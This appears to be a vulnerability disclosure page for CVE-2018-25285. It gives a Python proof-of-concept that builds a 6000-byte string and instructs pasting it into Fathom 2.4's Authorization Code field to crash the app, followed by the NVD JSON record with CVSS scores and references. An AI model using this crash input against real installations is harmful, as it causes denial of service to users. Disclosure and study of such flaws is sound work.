CVE-2018-25285

# Proof of Concept (PoC) for CVE-2018-25285 # This script generates a payload to trigger the buffer overflow in Fathom 2.4 def generate_overflow_payload(): """ Generates a payload of 6000 bytes to overflow the Authorization Code field. """ # Create a string of 'A' characters (0x41) with a length of 6000 bytes payload = "A" * 6000 return payload if __name__ == "__main__": payload = generate_overflow_payload() print("[+] Payload generated successfully.") print(f"[+] Payload length: {len(payload)} bytes") print("[+] Instructions:") print("1. Copy the generated payload.") print("2. Open Fathom 2.4 application.") print("3. Paste the payload into the 'Authorization Code' field.") print("4. Click the 'Activate' button.") print("5. The application should crash, triggering the DoS.") print("--- Payload Start ---") print(payload) print("--- Payload End ---")

{"cve": {"id": "CVE-2018-25285", "sourceIdentifier": "[email protected]", "published": "2026-04-26T22:17:29.457", "lastModified": "2026-04-27T18:55:32.883", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fathom 2.4 contains a buffer overflow vulnerability in the Authorization Code field that allows local attackers to crash the application by submitting an oversized input string. Attackers can paste a 6000-byte payload into the Authorization Code field and click Activate to trigger a denial of service condition."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "https://fathom.concord.org/", "source": "[email protected]"}, {"url": "https://fathom.concord.org/download/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/45294", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/fathom-denial-of-service-via-authorization-code-buffer-overflow", "source": "[email protected]"}]}}